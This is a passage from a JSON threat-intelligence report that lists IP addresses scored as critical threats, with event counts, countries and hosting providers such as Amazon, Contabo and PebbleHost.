        "org": "Bashinskii Vadim Ruslanovich"
      },
      {
        "ip": "3.132.26.232",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 107,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.134.216.108",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 119,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "16.58.56.214",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 181,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "115.231.78.11",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 8,
        "country": "China",
        "org": "CT-HangZhou-IDC"
      },
      {
        "ip": "45.205.1.8",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 879,
        "country": "United States",
        "org": "Vpsvault.host Ltd"
      },
      {
        "ip": "85.11.183.25",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 22,
        "country": "United Kingdom",
        "org": "PebbleHost Ltd"
      },
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 4,
        "country": "France",
        "org": "Contabo GmbH"
      },
      {
        "ip": "3.129.187.38",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 176,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.143.162.210",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 72,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.131.220.121",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 50,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.130.168.2",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 128,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "5.187.35.142",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 20,
        "country": "Netherlands",
        "org": "Amarutu Technology Ltd"
      },
      {
        "ip": "176.32.193.16",
        "threat_score": 99.7,
        "threat_level": "critical",
        "total_events": 16,
        "country": "Armenia",
        "org": "Ucom CJSC"
      },
      {
        "ip": "195.178.110.204",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 18,
        "country": "Bulgaria",
        "org": "Techoff Srv Limited"
      },
      {
        "ip": "81.29.142.100",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 26,
        "country": "Russia",
        "org": "LLC Applied Computational Technologies"
      }
    ]
  }
}